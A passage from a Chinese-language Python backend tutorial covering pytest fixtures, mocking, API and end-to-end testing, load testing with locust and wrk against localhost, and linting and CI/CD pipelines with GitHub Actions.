    """每个测试用例前创建数据库会话,测试后回滚"""
    session = SessionLocal()
    yield session
    session.rollback()
    session.close()

def test_create_article(db):
    article = Article(title="测试文章")
    db.add(article)
    db.commit()
    assert article.id is not None

# 参数化:一个测试函数跑多组数据
@pytest.mark.parametrize("age,expected", [
    (10, False),
    (18, True),
    (25, True),
])
def test_is_adult(age, expected):
    user = User(name="测试", age=age)
    assert user.is_adult() == expected

# 覆盖率
# pytest --cov=app --cov-report=html
# 打开 htmlcov/index.html 查看哪些代码没被测试覆盖

conftest.py:共享 fixture

# tests/conftest.py — 所有测试文件共享的 fixture
import pytest
from fastapi.testclient import TestClient
from app import create_app

@pytest.fixture
def app():
    return create_app('testing')

@pytest.fixture
def client(app):
    return TestClient(app)

@pytest.fixture
def auth_header(client):
    """获取认证头"""
    resp = client.post('/api/login', json={'username': 'test', 'password': '123'})
    token = resp.json()['token']
    return {'Authorization': f'Bearer {token}'}

Fixture Scope(作用域)

# fixture 作用域:控制初始化频率
@pytest.fixture(scope="function")                # 默认:每个测试函数都执行
def db():
    session = SessionLocal()
    yield session
    session.close()

@pytest.fixture(scope="module")                  # 每个模块执行一次
def app():
    return create_app('testing')

@pytest.fixture(scope="session")                 # 整个测试会话执行一次
def db_engine():
    engine = create_engine('sqlite:///:memory:')
    Base.metadata.create_all(engine)
    yield engine

@pytest.fixture(scope="class")                   # 每个测试类执行一次
def client(app):
    return TestClient(app)

Markers(标记)

# 自定义标记
import pytest

@pytest.mark.slow                                 # 标记为慢测试
def test_heavy_computation():
    result = heavy_function()
    assert result is not None

@pytest.mark.skip(reason="功能未实现")
def test_future_feature():
    pass

@pytest.mark.skipif(sys.platform == "win32", reason="不支持 Windows")
def test_linux_only():
    pass

@pytest.mark.xfail(reason="已知 bug")
def test_known_bug():
    assert buggy_function() == True               # 期望失败

# 运行时筛选
# pytest -m "not slow"          跳过慢测试
# pytest -m "slow"              只运行慢测试
# pytest --tb=short             简化错误输出
# pytest -x                     第一个失败就停止
# pytest --lf                   只运行上次失败的测试

tmpdir 和 snapshot

# tmpdir——临时目录 fixture
def test_file_operations(tmpdir):
    """tmpdir 自动创建临时目录,测试后自动清理"""
    test_file = tmpdir.join("test.txt")
    test_file.write("hello world")
    assert test_file.read() == "hello world"

# tmp_path(pathlib 版本)
def test_with_pathlib(tmp_path):
    file_path = tmp_path / "data.json"
    file_path.write_text('{"key": "value"}')
    data = json.loads(file_path.read_text())
    assert data["key"] == "value"

# snapshot 测试(快照测试)
# pip install syrupy
def test_api_response(snapshot):
    response = client.get("/api/users/1")
    assert response.json() == snapshot

pytest 插件推荐

# 常用 pytest 插件
# pip install pytest-cov          # 覆盖率
# pip install pytest-asyncio      # 异步测试
# pip install pytest-xdist        # 并行测试
# pip install pytest-timeout      # 测试超时
# pip install pytest-randomly     # 随机顺序运行(发现依赖问题)
# pip install pytest-sugar        # 更好看的输出
# pip install pytest-clarity      # 更清晰的断言失败信息

# pytest.ini / pyproject.toml 配置
# [tool.pytest.ini_options]
# testpaths = ["tests"]
# asyncio_mode = "auto"           # 自动检测异步测试
# timeout = 30                    # 测试超时 30 秒
# addopts = "--cov=app --cov-report=html -v"

# 并行运行测试(加速 CI)
# pip install pytest-xdist
# pytest -n auto                  # 自动检测 CPU 核心数并行运行
测试命名规范

测试文件以 test_ 开头,测试函数以 test_ 开头。运行:pytest(全部)、pytest test_user.py(单文件)、pytest -k "login"(匹配关键词)、pytest -m "not slow"(按标记筛选)。

pytest 最佳实践

① 测试要独立(不依赖其他测试的执行顺序)。② 用 fixture 管理测试数据(不要在测试函数中创建数据)。③ 用 conftest.py 共享 fixture。④ 用 parametrize 减少重复代码。⑤ 用 marker 分类测试(unit/integration/slow)。⑥ CI 中用 pytest -x 快速失败。⑦ 覆盖率目标 80%+。

53. Mock 与测试隔离

测试应该只测自己的代码,不依赖外部服务(数据库、API、文件系统)。Mock(模拟)让你用"假对象"替代真实依赖。

unittest.mock 基础

from unittest.mock import patch, MagicMock, Mock, call

# Mock 外部 API 调用
@patch('app.services.send_email')
def test_register(mock_send_email):
    """注册时发送邮件,但测试中不需要真的发邮件"""
    mock_send_email.return_value = True

    response = client.post('/api/register', json={'email': 'test@test.com'})
    assert response.status_code == 200
    mock_send_email.assert_called_once_with('test@test.com', ...)

# Mock 返回值
@patch('app.services.payment_gateway.charge')
def test_payment(mock_charge):
    mock_charge.return_value = {"status": "success", "transaction_id": "txn_123"}
    result = process_payment(amount=100)
    assert result["status"] == "success"

# Mock 抛出异常
@patch('app.services.external_api.fetch')
def test_api_failure(mock_fetch):
    mock_fetch.side_effect = ConnectionError("网络超时")
    result = call_external_api()
    assert result["error"] == "服务暂时不可用"

MagicMock 与 spec

# MagicMock —— 自动创建属性和方法
mock_obj = MagicMock()
mock_obj.user.name = "张三"                    # 自动创建嵌套属性
mock_obj.calculate.return_value = 42            # 设置返回值
mock_obj.calculate()                            # 返回 42

# spec —— 限制 Mock 的属性(防止拼写错误)
from app.services import EmailService

mock_email = MagicMock(spec=EmailService)
mock_email.send("test@test.com", "hello")       # OK
mock_email.sned("test@test.com", "hello")        # AttributeError! 拼写错误被发现

# Mock 的 call 记录
mock_func = MagicMock()
mock_func("arg1")
mock_func("arg2", key="value")

mock_func.assert_any_call("arg1")                # 检查是否调用过
mock_func.assert_called_with("arg2", key="value")  # 检查最后一次调用
assert mock_func.call_count == 2                 # 调用次数
assert mock_func.call_args_list == [             # 完整调用记录
    call("arg1"),
    call("arg2", key="value"),
]

side_effect 与复杂场景

# side_effect —— 不同调用返回不同值
mock_db = MagicMock()
mock_db.query.side_effect = [
    [User(id=1, name="张三")],                   # 第一次查询返回结果
    [],                                          # 第二次查询返回空
    Exception("数据库连接失败"),                    # 第三次抛异常
]

# side_effect —— 根据参数返回不同值
def mock_get_user(user_id):
    users = {1: User(id=1, name="张三"), 2: User(id=2, name="李四")}
    return users.get(user_id)

mock_service = MagicMock()
mock_service.get_user.side_effect = mock_get_user

# side_effect —— 带延迟的 Mock(模拟慢接口)
import asyncio

async def slow_api_call(*args, **kwargs):
    await asyncio.sleep(2)                       # 模拟 2 秒延迟
    return {"data": "result"}

mock_api = MagicMock()
mock_api.fetch.side_effect = slow_api_call

monkeypatch(pytest 内置)

# monkeypatch —— 临时修改环境变量、属性、字典

# 修改环境变量
def test_config(monkeypatch):
    monkeypatch.setenv('DATABASE_URL', 'sqlite:///:memory:')
    monkeypatch.setenv('SECRET_KEY', 'test-key')
    monkeypatch.setenv('DEBUG', 'true')
    # 此时读取的配置是测试专用的

# 修改模块属性
def test_feature_flag(monkeypatch):
    monkeypatch.setattr('app.config.FEATURE_NEW_UI', True)
    assert is_new_ui_enabled() == True

# 修改字典
def test_settings(monkeypatch):
    monkeypatch.setitem(app.config, 'TESTING', True)
    monkeypatch.setitem(app.config, 'DATABASE_URL', 'sqlite:///:memory:')

# 修改类方法
def test_api_call(monkeypatch):
    def mock_fetch(url):
        return {"status": "ok"}
    monkeypatch.setattr('app.services.http_client.fetch', mock_fetch)

Factory Boy — 测试数据工厂

# pip install factory-boy
from factory import Factory, Faker, SubFactory, LazyAttribute
from app.models import User, Article, Category

class CategoryFactory(Factory):
    class Meta:
        model = Category
    name = Faker('word')
    slug = Faker('slug')

class UserFactory(Factory):
    class Meta:
        model = User
    name = Faker('name', locale='zh_CN')
    email = Faker('email')
    age = Faker('random_int', min=18, max=60)
    is_active = True

class ArticleFactory(Factory):
    class Meta:
        model = Article
    title = Faker('sentence', nb_words=6)
    content = Faker('text', max_nb_chars=2000)
    author = SubFactory(UserFactory)             # 自动创建关联用户
    category = SubFactory(CategoryFactory)
    status = 'published'
    views = LazyAttribute(lambda o: random.randint(0, 10000))

# 使用
user = UserFactory()                             # 生成一个随机用户
users = UserFactory.create_batch(10)             # 生成 10 个用户
article = ArticleFactory(author=user)            # 指定作者
articles = ArticleFactory.create_batch(5, status='draft')  # 批量创建草稿

# 带 Trait 的工厂
class UserFactory(Factory):
    class Meta:
        model = User

    class Params:
        is_admin = Faker('pybool')
        is_inactive = False

    name = Faker('name')
    email = Faker('email')
    is_active = LazyAttribute(lambda o: not o.is_inactive)

admin = UserFactory(is_admin=True)               # 管理员
inactive = UserFactory(is_inactive=True)         # 非活跃用户

测试数据库隔离

# 方案1:每个测试用事务回滚(推荐)
import pytest
from sqlalchemy import create_engine
from sqlalchemy.orm import sessionmaker

@pytest.fixture
def db_session():
    engine = create_engine('sqlite:///:memory:')
    Session = sessionmaker(bind=engine)
    session = Session()
    session.begin()                              # 开始事务
    yield session
    session.rollback()                           # 回滚事务(数据不保留)
    session.close()

# 方案2:Docker 临时数据库(最接近生产环境)
@pytest.fixture(scope="session")
def db_engine():
    """Docker 启动临时 PostgreSQL"""
    import docker
    client = docker.from_env()
    container = client.containers.run(
        'postgres:15',
        environment={'POSTGRES_PASSWORD': 'test', 'POSTGRES_DB': 'testdb'},
        ports={'5432/tcp': 5433},
        detach=True
    )
    # 等待数据库就绪...
    engine = create_engine('postgresql://postgres:test@localhost:5433/testdb')
    yield engine
    container.stop()
    container.remove()

# 方案3:测试数据库 + 数据清理
@pytest.fixture(autouse=True)
def clean_db(db_session):
    """每个测试前后清理数据"""
    yield
    for table in reversed(Base.metadata.sorted_tables):
        db_session.execute(table.delete())
    db_session.commit()
测试数据库

测试不能用生产数据库!方案:① SQLite 内存数据库(sqlite:///:memory:,快但和生产不一致)。② 每个测试用事务回滚(推荐,和生产一致)。③ Docker 启动临时数据库(最真实但慢)。推荐方案 ②——和生产环境数据库一致,避免兼容性问题。

Mock 最佳实践

① 只 Mock 外部依赖(数据库、API、文件系统),不要 Mock 被测代码本身。② 用 spec 限制 Mock 属性(防止拼写错误)。③ 验证 Mock 被正确调用(assert_called_with)。④ 不要过度 Mock(Mock 太多会让测试失去意义)。⑤ 测试要测行为,不要测实现细节。

常见 Mock 陷阱

① Mock 路径错误——@patch 要 patch 使用的地方,不是定义的地方(@patch('app.views.send_email') 而非 @patch('app.services.send_email'))。② 忘记 return_value——Mock 默认返回 Mock(),不是 None。③ Mock 状态泄漏——用 with patch(...) 或 fixture 确保 Mock 被清理。

54. API 测试与接口文档

API 测试确保接口的输入输出符合预期。接口文档让前端知道"怎么调用"。

# FastAPI TestClient(基于 httpx)
from fastapi.testclient import TestClient
from app import app

client = TestClient(app)

def test_get_users():
    response = client.get('/api/users')
    assert response.status_code == 200
    assert isinstance(response.json()['data']['items'], list)

def test_create_user():
    response = client.post('/api/users', json={
        'name': '张三', 'email': 'zhangsan@test.com', 'age': 25
    })
    assert response.status_code == 201
    assert response.json()['data']['name'] == '张三'

def test_get_user_not_found():
    response = client.get('/api/users/99999')
    assert response.status_code == 404

# httpx 异步测试
import httpx
import pytest

@pytest.mark.asyncio
async def test_async_api():
    async with httpx.AsyncClient(app=app, base_url="http://test") as ac:
        response = await ac.get('/api/users')
        assert response.status_code == 200

请求/响应 Schema 验证

# 测试请求参数校验
def test_create_user_validation():
    # 缺少必填字段
    response = client.post('/api/users', json={'name': '张三'})
    assert response.status_code == 422
    assert 'email' in str(response.json())

    # 邮箱格式错误
    response = client.post('/api/users', json={'name': '张三', 'email': 'invalid'})
    assert response.status_code == 422

    # 名称太长
    response = client.post('/api/users', json={'name': 'a' * 200, 'email': 'a@b.com'})
    assert response.status_code == 422

# 测试响应格式
def test_response_format():
    response = client.get('/api/users/1')
    data = response.json()

    # 验证响应结构
    assert 'code' in data
    assert 'message' in data
    assert 'data' in data
    assert data['code'] == 0

    # 验证 data 字段
    user = data['data']
    assert 'id' in user
    assert 'name' in user
    assert 'email' in user
    assert 'password' not in user  # 确保不返回密码

# 测试分页响应
def test_pagination_format():
    response = client.get('/api/users?page=1&size=10')
    data = response.json()['data']

    assert 'items' in data
    assert 'total' in data
    assert 'page' in data
    assert 'size' in data
    assert len(data['items']) <= 10

异步 API 测试

# httpx 异步测试(FastAPI 推荐)
import httpx
import pytest

@pytest.mark.asyncio
async def test_async_api():
    async with httpx.AsyncClient(app=app, base_url="http://test") as ac:
        response = await ac.get('/api/users')
        assert response.status_code == 200

@pytest.mark.asyncio
async def test_async_create_user():
    async with httpx.AsyncClient(app=app, base_url="http://test") as ac:
        response = await ac.post('/api/users', json={
            'name': '张三', 'email': 'zhangsan@test.com'
        })
        assert response.status_code == 201

# 使用 httpx.AsyncClient 作为 pytest fixture
@pytest.fixture
async def async_client():
    async with httpx.AsyncClient(app=app, base_url="http://test") as ac:
        yield ac

@pytest.mark.asyncio
async def test_with_fixture(async_client):
    response = await async_client.get('/api/users')
    assert response.status_code == 200

测试认证接口

# 带认证的测试
@pytest.fixture
def auth_headers():
    """获取认证 headers"""
    response = client.post('/api/auth/login', json={
        'email': 'admin@test.com', 'password': 'password123'
    })
    token = response.json()['data']['token']
    return {'Authorization': f'Bearer {token}'}

def test_protected_endpoint(auth_headers):
    response = client.get('/api/admin/users', headers=auth_headers)
    assert response.status_code == 200

def test_unauthorized():
    response = client.get('/api/admin/users')
    assert response.status_code == 401

def test_forbidden():
    # 普通用户访问管理员接口
    response = client.post('/api/auth/login', json={
        'email': 'user@test.com', 'password': 'password123'
    })
    token = response.json()['data']['token']
    response = client.get('/api/admin/users', headers={'Authorization': f'Bearer {token}'})
    assert response.status_code == 403

接口文档自动生成

# FastAPI 自动生成 OpenAPI 文档
# 访问 /docs 获取 Swagger UI
# 访问 /redoc 获取 ReDoc 文档
# 访问 /openapi.json 获取 OpenAPI 规范 JSON

# 自定义文档信息
from fastapi import FastAPI

app = FastAPI(
    title="我的 API",
    description="这是一个示例 API",
    version="1.0.0",
    docs_url="/docs",
    redoc_url="/redoc",
)

# 路由标签和描述
@app.get("/api/users", tags=["用户"], summary="获取用户列表",
         description="分页获取所有用户,支持按名称筛选")
def get_users(page: int = 1, size: int = 20):
    """获取用户列表"""
    pass

# 前端用 OpenAPI JSON 自动生成客户端代码
# npx openapi-generator-cli generate -i http://localhost:8000/openapi.json -g typescript-fetch -o ./api-client
FastAPI 自动生成 OpenAPI 文档

访问 /docs 获取 Swagger UI,访问 /openapi.json 获取 OpenAPI 规范 JSON。前端可以用这个 JSON 自动生成 API 客户端代码(openapi-generator)。Django 用 drf-spectacular 生成 OpenAPI 文档。

API 测试最佳实践

① 测试要覆盖正常流程和异常流程(400、401、403、404、500)。② 测试要验证响应格式(字段名、类型、结构)。③ 测试要验证数据正确性(创建后能查到、修改后值变了)。④ 测试要隔离(不依赖其他测试的数据)。⑤ 测试要快(用内存数据库,不要真的发邮件)。

契约测试

前后端协作时,用契约测试确保 API 文档和实际行为一致。工具:schemathesis(自动根据 OpenAPI 规范生成测试用例)、pact(消费者驱动的契约测试)。schemathesis run http://localhost:8000/openapi.json——自动发现 API 漏洞。

55. 集成测试与端到端测试

单元测试测单个函数,集成测试测多个组件协作,端到端测试测整个系统。

1
单元测试——测一个函数的输入输出。快、便宜、大量写。
2
集成测试——测多个模块协作(如 API → 服务层 → 数据库)。中等速度。
3
端到端测试——模拟真实用户操作(打开浏览器 → 点击 → 验证)。慢但覆盖全。

集成测试(多模块协作)

# 集成测试:API → 服务层 → 数据库
import pytest
from httpx import AsyncClient

@pytest.fixture
async def client(db_session):
    """带数据库的测试客户端"""
    from app import app
    from app.database import get_db

    async def override_get_db():
        yield db_session

    app.dependency_overrides[get_db] = override_get_db
    async with AsyncClient(app=app, base_url="http://test") as ac:
        yield ac
    app.dependency_overrides.clear()

# 测试完整流程:注册 → 登录 → 创建文章 → 查询
@pytest.mark.asyncio
async def test_full_article_flow(client):
    # 1. 注册用户
    resp = await client.post('/api/auth/register', json={
        'name': '测试用户', 'email': 'test@test.com', 'password': 'pass123'
    })
    assert resp.status_code == 201

    # 2. 登录获取 Token
    resp = await client.post('/api/auth/login', json={
        'email': 'test@test.com', 'password': 'pass123'
    })
    assert resp.status_code == 200
    token = resp.json()['data']['token']
    headers = {'Authorization': f'Bearer {token}'}

    # 3. 创建文章
    resp = await client.post('/api/articles', json={
        'title': '测试文章', 'content': '测试内容'
    }, headers=headers)
    assert resp.status_code == 201
    article_id = resp.json()['data']['id']

    # 4. 查询文章
    resp = await client.get(f'/api/articles/{article_id}')
    assert resp.status_code == 200
    assert resp.json()['data']['title'] == '测试文章'

    # 5. 修改文章
    resp = await client.put(f'/api/articles/{article_id}', json={
        'title': '修改后的标题'
    }, headers=headers)
    assert resp.status_code == 200
    assert resp.json()['data']['title'] == '修改后的标题'

    # 6. 删除文章
    resp = await client.delete(f'/api/articles/{article_id}', headers=headers)
    assert resp.status_code == 204

    # 7. 确认删除
    resp = await client.get(f'/api/articles/{article_id}')
    assert resp.status_code == 404

测试数据管理

# 测试数据 Fixture
import pytest

@pytest.fixture
def sample_user(db_session):
    """创建测试用户"""
    user = User(name="测试用户", email="test@test.com", password_hash=hash_password("pass123"))
    db_session.add(user)
    db_session.commit()
    return user

@pytest.fixture
def sample_articles(db_session, sample_user):
    """创建测试文章"""
    articles = []
    for i in range(5):
        article = Article(
            title=f"文章 {i}",
            content=f"内容 {i}",
            author_id=sample_user.id,
            status='published' if i % 2 == 0 else 'draft'
        )
        db_session.add(article)
        articles.append(article)
    db_session.commit()
    return articles

# 使用 Fixture
def test_article_list(client, sample_articles):
    resp = client.get('/api/articles')
    assert resp.status_code == 200
    assert len(resp.json()['data']['items']) == 5

端到端测试(Playwright)

# pip install playwright; playwright install
from playwright.sync_api import sync_playwright, expect

# pytest fixture
@pytest.fixture(scope="session")
def browser():
    with sync_playwright() as p:
        browser = p.chromium.launch(headless=True)
        yield browser
        browser.close()

@pytest.fixture
def page(browser):
    context = browser.new_context()
    page = context.new_page()
    yield page
    context.close()

# 测试用户注册流程
def test_user_registration(page):
    page.goto('http://localhost:8000/register')

    # 填写表单
    page.fill('input[name="username"]', 'testuser')
    page.fill('input[name="email"]', 'test@test.com')
    page.fill('input[name="password"]', 'password123')
    page.fill('input[name="password_confirm"]', 'password123')

    # 提交
    page.click('button[type="submit"]')

    # 验证跳转到登录页
    expect(page).to_have_url(re.compile(r'.*login'))
    expect(page.locator('.message')).to_contain_text('注册成功')

# 测试登录后访问受保护页面
def test_login_and_access(page):
    page.goto('http://localhost:8000/login')
    page.fill('input[name="email"]', 'test@test.com')
    page.fill('input[name="password"]', 'password123')
    page.click('button[type="submit"]')

    # 验证登录成功
    expect(page).to_have_url(re.compile(r'.*dashboard'))
    expect(page.locator('.welcome')).to_contain_text('欢迎')

# 测试购物车流程
def test_shopping_cart(page):
    # 浏览商品
    page.goto('http://localhost:8000/products')
    page.locator('.product-card').first.click()

    # 添加到购物车
    page.click('button:text("加入购物车")')
    expect(page.locator('.cart-count')).to_have_text('1')

    # 去结算
    page.click('a:text("去结算")')
    expect(page.locator('.order-total')).to_be_visible()

Docker 集成测试环境

# docker-compose.test.yml — 测试专用环境
# 注:Docker Compose v2 已不再需要 version 字段,省略即可
services:
  db:
    image: postgres:15
    environment:
      POSTGRES_DB: testdb
      POSTGRES_PASSWORD: test
    ports:
      - "5433:5432"

  redis:
    image: redis:7-alpine
    ports:
      - "6380:6379"

  app:
    build: .
    environment:
      DATABASE_URL: postgresql://postgres:test@db:5433/testdb
      REDIS_URL: redis://redis:6379/0
    ports:
      - "8000:8000"
    depends_on:
      - db
      - redis

# pytest conftest.py
@pytest.fixture(scope="session", autouse=True)
def setup_test_env():
    """启动 Docker 测试环境"""
    import subprocess
    subprocess.run(["docker-compose", "-f", "docker-compose.test.yml", "up", "-d"])
    yield
    subprocess.run(["docker-compose", "-f", "docker-compose.test.yml", "down"])
测试金字塔

单元测试占 70%(快、多)、集成测试占 20%(中等)、端到端测试占 10%(慢、关键路径)。不要试图用端到端测试覆盖所有场景——维护成本太高。端到端测试只测关键路径(注册、登录、下单、支付)。

集成测试最佳实践

① 每个测试用独立的数据库事务(测试后回滚)。② 测试数据用 Fixture 创建(不要依赖其他测试)。③ 测试完整流程(不只是单个接口)。④ 测试异常场景(网络超时、数据库连接失败)。⑤ 集成测试放在 CI/CD 中自动运行。

端到端测试技巧

① 用 headless=True 无头模式运行(CI 环境必须)。② 用 expect 等待元素出现(不要用 sleep)。③ 测试失败时自动截图(page.screenshot())。④ 用 page.route() Mock API 响应。⑤ 测试数据要独立(不要依赖生产数据)。

56. 性能测试与压测

上线前必须知道你的服务器能扛多少并发——是 100 QPS 还是 10000 QPS?压测告诉你答案。

# locust — Python 压测工具(推荐)
# pip install locust
from locust import HttpUser, task, between

class WebsiteUser(HttpUser):
    wait_time = between(1, 3)                   # 模拟用户思考时间

    @task(3)                                     # 权重 3
    def get_users(self):
        self.client.get('/api/users')

    @task(1)                                     # 权重 1
    def create_user(self):
        self.client.post('/api/users', json={'name': 'test', 'email': 'test@test.com'})

# 运行:locust -f locustfile.py --host=http://localhost:8000
# 访问 http://localhost:8089 开始压测
# wrk — 高性能命令行压测工具
# 安装:apt install wrk
wrk -t4 -c100 -d30s http://localhost:8000/api/users
# -t4: 4 个线程
# -c100: 100 个并发连接
# -d30s: 持续 30 秒
性能基准

压测后记录基准数据:QPS(每秒请求数)、P99 延迟(99% 的请求在多少毫秒内完成)、错误率。每次发版后对比基准,性能下降超过 20% 要报警。

压测场景设计

# Locust 高级用法——模拟真实用户行为
from locust import HttpUser, task, between, events
import random

class EcommerceUser(HttpUser):
    wait_time = between(1, 5)                    # 模拟用户思考时间
    host = "http://localhost:8000"

    def on_start(self):
        """用户登录"""
        resp = self.client.post('/api/auth/login', json={
            'email': f'user{random.randint(1,1000)}@test.com',
            'password': 'password123'
        })
        if resp.status_code == 200:
            self.token = resp.json()['data']['token']
            self.client.headers.update({'Authorization': f'Bearer {self.token}'})

    @task(5)                                     # 权重 5:浏览商品最频繁
    def browse_products(self):
        page = random.randint(1, 10)
        self.client.get(f'/api/products?page={page}&size=20')

    @task(3)
    def view_product_detail(self):
        product_id = random.randint(1, 1000)
        self.client.get(f'/api/products/{product_id}')

    @task(2)
    def add_to_cart(self):
        product_id = random.randint(1, 1000)
        self.client.post('/api/cart/items', json={
            'product_id': product_id,
            'quantity': random.randint(1, 3)
        })

    @task(1)                                     # 权重 1:下单较少
    def create_order(self):
        self.client.post('/api/orders', json={
            'items': [{'product_id': random.randint(1, 1000), 'quantity': 1}]
        })

# 运行:locust -f locustfile.py --host=http://localhost:8000
# 访问 http://localhost:8089 设置并发数和启动压测

压测类型与场景

类型目的做法
基准测试了解系统正常性能逐步增加并发,找到性能拐点
负载测试验证预期负载下的表现模拟预期的并发用户数,持续运行
压力测试找到系统极限持续增加并发直到系统崩溃
浸泡测试检测内存泄漏中等并发持续运行 24-72 小时
峰值测试验证突发流量处理瞬间发送大量请求(如秒杀场景)

wrk 高性能压测

# wrk —— C 语言写的高性能压测工具
# 安装:apt install wrk

# 基本用法
wrk -t4 -c100 -d30s http://localhost:8000/api/users
# -t4: 4 个线程
# -c100: 100 个并发连接
# -d30s: 持续 30 秒

# 带 Lua 脚本(POST 请求)
wrk -t4 -c100 -d30s -s post.lua http://localhost:8000/api/users

# post.lua 内容:
# wrk.method = "POST"
# wrk.body = '{"name": "test", "email": "test@test.com"}'
# wrk.headers["Content-Type"] = "application/json"

# 输出解读:
# Thread Stats   Avg      Stdev     Max   +/- Stdev
# Latency     1.20ms    0.50ms   5.00ms    85.00%   ← 延迟
# Req/Sec     2.50k   200.00     3.00k     70.00%   ← QPS
# 75000 requests in 30s                            ← 总请求数

结果分析与性能基准

# 压测结果记录模板
benchmark_result = {
    "date": "2024-06-26",
    "environment": "2核4G ECS",
    "tool": "locust",
    "concurrent_users": 100,
    "duration": "5min",
    "metrics": {
        "qps": 1500,                             # 每秒请求数
        "avg_latency_ms": 12,                    # 平均延迟
        "p50_latency_ms": 8,                     # 50% 延迟
        "p95_latency_ms": 45,                    # 95% 延迟
        "p99_latency_ms": 120,                   # 99% 延迟
        "error_rate": 0.01,                      # 错误率 1%
    },
    "bottleneck": "数据库查询慢(N+1 问题)"
}

# 性能基准对比
# 优化前:QPS 500, P99 500ms
# 优化后:QPS 1500, P99 120ms
# 提升:QPS 3x, P99 -76%

# 告警阈值设置
# P99 > 500ms → 告警
# 错误率 > 1% → 告警
# QPS 下降 > 20% → 告警

APM 工具集成

# APM(Application Performance Monitoring)—— 生产环境性能监控
# Sentry —— 错误追踪 + 性能监控
import sentry_sdk
from sentry_sdk.integrations.fastapi import FastApiIntegration

sentry_sdk.init(
    dsn="https://xxx@sentry.io/xxx",
    integrations=[FastApiIntegration()],
    traces_sample_rate=0.1,                      # 采集 10% 的请求
    environment="production",
)

# Pyroscope —— 持续性能分析(火焰图)
# pip install pyroscope-io
import pyroscope

pyroscope.configure(
    application_name="myapp",
    server_address="http://pyroscope:4040",
    tags={"env": "production"},
)

# 代码级性能分析
import cProfile
import pstats

def profile_function(func):
    def wrapper(*args, **kwargs):
        profiler = cProfile.Profile()
        profiler.enable()
        result = func(*args, **kwargs)
        profiler.disable()
        stats = pstats.Stats(profiler)
        stats.sort_stats('cumulative')
        stats.print_stats(20)                    # 打印前 20 个最耗时函数
        return result
    return wrapper
性能基准

压测后记录基准数据:QPS(每秒请求数)、P99 延迟(99% 的请求在多少毫秒内完成)、错误率。每次发版后对比基准,性能下降超过 20% 要报警。用 Grafana 持续监控性能趋势。

瓶颈定位

CPU 高 → 检查计算密集代码。内存高 → 检查是否有内存泄漏。数据库慢 → 检查慢查询。网络慢 → 检查第三方 API 调用。用 py-spy 或 cProfile 生成火焰图定位热点函数。用 strace 检查系统调用。

压测注意事项

① 不要在生产环境压测(会影响真实用户)。② 压测环境要和生产环境配置一致(否则结果不准)。③ 压测数据要隔离(不要污染真实数据)。④ 压测要循序渐进(不要一上来就全量)。⑤ 记录每次压测的环境、配置、结果(方便对比)。

57. 代码规范与 CI/CD

代码风格不统一是团队协作的噩梦。自动化工具帮你格式化代码、检查错误、自动部署。

# 代码格式化和检查工具
pip install ruff black isort

# Ruff — 超快的 Python linter(替代 flake8 + pylint)
ruff check .                                 # 检查代码问题
ruff check --fix .                           # 自动修复

# Black — 代码格式化(强制统一风格)
black .                                      # 格式化所有文件

# isort — import 排序
isort .                                      # 自动排序 import
# .pre-commit-config.yaml — 提交前自动检查
repos:
  - repo: https://github.com/astral-sh/ruff-pre-commit
    hooks:
      - id: ruff
        args: [--fix]
  - repo: https://github.com/psf/black
    hooks:
      - id: black

# 安装:pre-commit install
# 之后每次 git commit 自动运行检查
# .github/workflows/ci.yml — GitHub Actions CI/CD
name: CI
on: [push, pull_request]

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-python@v5
        with:
          python-version: '3.12'
      - run: pip install -r requirements.txt
      - run: ruff check .
      - run: black --check .
      - run: pytest --cov=app --cov-fail-under=80

Ruff 配置详解

# pyproject.toml — Ruff 配置
[tool.ruff]
target-version = "py312"
line-length = 100

[tool.ruff.lint]
select = [
    "E",     # pycodestyle errors
    "W",     # pycodestyle warnings
    "F",     # pyflakes
    "I",     # isort (import sorting)
    "N",     # pep8-naming
    "UP",    # pyupgrade
    "B",     # flake8-bugbear
    "SIM",   # flake8-simplify
    "TCH",   # flake8-type-checking
    "RUF",   # Ruff-specific rules
]
ignore = ["E501"]                               # 忽略行长度(Black 处理)

[tool.ruff.lint.isort]
known-first-party = ["app"]                     # 本地模块排序

# 运行
# ruff check .              检查问题
# ruff check --fix .        自动修复
# ruff format .             格式化代码(替代 Black)

完整 CI/CD Pipeline

# .github/workflows/ci.yml — 完整 CI/CD
name: CI/CD
on:
  push:
    branches: [main, develop]
  pull_request:
    branches: [main]

jobs:
  lint:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-python@v5
        with:
          python-version: '3.12'
      - run: pip install ruff
      - run: ruff check .
      - run: ruff format --check .

  test:
    runs-on: ubuntu-latest
    needs: lint                                  # lint 通过后才测试
    services:
      postgres:
        image: postgres:15
        env:
          POSTGRES_DB: testdb
          POSTGRES_PASSWORD: test
        ports:
          - 5432:5432
      redis:
        image: redis:7
        ports:
          - 6379:6379
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-python@v5
        with:
          python-version: '3.12'
          cache: 'pip'
      - run: pip install -r requirements.txt
      - run: pytest --cov=app --cov-report=xml --cov-fail-under=80
      - uses: codecov/codecov-action@v4         # 上传覆盖率报告
        with:
          file: coverage.xml

  deploy:
    runs-on: ubuntu-latest
    needs: test                                  # 测试通过后才部署
    if: github.ref == 'refs/heads/main'          # 只在 main 分支部署
    steps:
      - uses: actions/checkout@v4
      - name: Deploy to server
        uses: appleboy/ssh-action@v1
        with:
          host: ${{ secrets.SERVER_HOST }}
          username: ${{ secrets.SERVER_USER }}
          key: ${{ secrets.SSH_KEY }}
          script: |
            cd /home/app/myproject
            git pull origin main
            source venv/bin/activate
            pip install -r requirements.txt
            sudo systemctl restart myapp

Pre-commit Hooks

# .pre-commit-config.yaml — 提交前自动检查
repos:
  - repo: https://github.com/astral-sh/ruff-pre-commit
    rev: v0.4.0
    hooks:
      - id: ruff
        args: [--fix]
      - id: ruff-format

  - repo: https://github.com/pre-commit/pre-commit-hooks
    rev: v4.6.0
    hooks:
      - id: trailing-whitespace                    # 删除行尾空格
      - id: end-of-file-fixer                      # 确保文件以换行结尾
      - id: check-yaml                             # 检查 YAML 语法
      - id: check-added-large-files                # 防止提交大文件
        args: ['--maxkb=500']
      - id: check-merge-conflict                   # 检查合并冲突标记

  - repo: https://github.com/psf/black
    rev: 24.4.0
    hooks:
      - id: black

  - repo: https://github.com/pre-commit/mirrors-mypy
    rev: v1.10.0
    hooks:
      - id: mypy
        additional_dependencies: [types-requests]

# 安装:pre-commit install
# 手动运行:pre-commit run --all-files
# 之后每次 git commit 自动运行检查

CD 部署策略

# GitHub Actions 自动部署(带 Docker)
